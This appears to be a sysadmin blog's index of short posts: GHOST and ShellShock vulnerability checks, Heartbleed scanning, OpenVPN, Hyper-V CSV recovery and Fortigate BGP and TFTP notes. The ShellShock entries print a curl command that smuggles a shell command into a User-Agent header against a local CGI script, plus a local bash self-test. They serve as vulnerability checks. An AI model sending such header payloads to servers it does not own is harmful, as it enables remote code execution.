GHOST: glibc gethostbyname buffer overflow – CVE-2015-0235

You can test your system against GHOST: glibc gethostbyname buffer overflow  CVE-2015-0235.

or compiled one

root@testme /home # gcc GHOST.c -o GHOST
root@testme /home # ./GHOST
not vulnerable


CVE-2014-6271 (ShellShock) remote code execution PoC

create a file for cgi execution

fill with sample innocent code
echo "Content-type: text/html"
echo ""
echo "dummy output"

execute it
curl -H 'User-Agent: () { :;}; echo boom>/tmp/boom'  http://localhost/cgi-bin/
dummy output

and see if the file is created
ls -l /tmp/boom
-rw-r--r--. 1 apache apache 5 Sep 25 21:20 /tmp/boom

GNU Bash (ShellShock) Vulnerability – CVE-2014-6271

A critical vuln has been discovered recently. Check for more information

also you can check your server via shell with the command below.

env x='() { :;}; echo vulnerable!’ bash -c ””

a patched system output looks like this

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’


Cneonction and nnCoection in HTTP Response Headers

You may receive Cneonction or nnCoection HTTP Reponse Header even if you are not using Keep-Alive on you member servers. Some loadbalancers rewrites http response headers.So you can see
nnCoection : Close
instead of
Connection : Close
Your WebServer is returning the response header Connection: close but loadbalancer rewrites it to nnCoection: close because you have keep-alive enabled on your loadbalancer and the loadbalancer want to keep connection so it replaces Connection header.

The case I met on Netscaler MPX appliance, you should disable Client Keep Alive on your service or Service Group. So, LB will never send Connection response to clients.
Otherwise, you have to rewrite nnCoection ..

Scanning OpenSSL HeartBleed Vuln with Nmap


There is serious vulnerability OpenSSL cryptographic software library which allows stealing the protected  information ..
This bug allows anyone on the Internet to read the memory of the system which runs the vulnerable OpenSSL version. So the attackers easily eavesdrop the secret keys, usernames,passwords which resides in the memory…
Continue reading “Scanning OpenSSL HeartBleed Vuln with Nmap”

How to install OpenVPN Server

Below you will find how to install OpenVPN server.  At the end of the article;

1- We will have a VPN server running under linux..
2- We will be using linux pam accounts to authenticate clients
3- All clients connected can access local network and each other
4- All clients will use the VPN server to access the internet.
5- VPN server will act as Remote to Site
6- We will have a sample windows client configuration to connect.

Ubuntu Server 12.04
Continue reading “How to install OpenVPN Server”

HyperV CSV Stuck at “Backup in Progress”

If your backup software is using Microsoft VSS to take snapshot of your cluster volumes, sometimes your CSV stuck in redirection access and telling that “Backup in Progress” even if there no running backup at that time..

1- You cannot turn off redirection mode
2- you cannot change owner of volume
3- There is no running backup jobs

Then you may delete the snapshot of the volume in order to bring that volume “Online”
so login to the hyperv node which is the owner of that volume.

Run CMD with elevated privileges.

Enter the volume which backup takes place
cd C:\ClusterStorage\Volume8

Run diskshadow utility
list the volumes which have shadow copies.
if you are sure about what to delete then you may delete corresponding copy or delete all as you can see below.



Excluding Network from BGP on Fortigate

Assuming you are re-distributing your fortigate networks and you want to exclude one or some of your networks from distribution.

Here is an example config.

PS: replace “XXX” with your config..

config router prefix-list
edit "youaclname"
config rule
edit 1
set prefix "IPaddress "SubnetMask"
unset ge
unset le

config router route-map
edit "rmap-bgp"
config rule
edit 1
set action deny
set match-ip-address "youraclname"
edit 2

config router bgp
set as XXXX
set log-neighbour-changes enable
config neighbor
edit "neigbourIP"
set remote-as XXXX
set route-map-out "rmap-bgp"
set send-community6 disable
config redistribute "connected"
set status enable
config redistribute "rip"
config redistribute "ospf"
config redistribute "static"
config redistribute "isis"
config redistribute6 "connected"
config redistribute6 "rip"
config redistribute6 "ospf"
config redistribute6 "static"
config redistribute6 "isis"
set router-id XXX.XXX.XXX.XXX

Fortigate 3810A TFTP Error – Open boot device failed

You may meet “Open boot device failed” if you are upload a firmware via TFTP. I think Fortigate 3810A doesnt support Fresh firmware install via TFTP for FortiOS 5.0

The workaround is to upload latest 4.x release via TFTP then upgrade to 5.0 via GUI.
As the time I write this post latest release for 5.x is GA patch 6 and for 4.x is MR3Path15.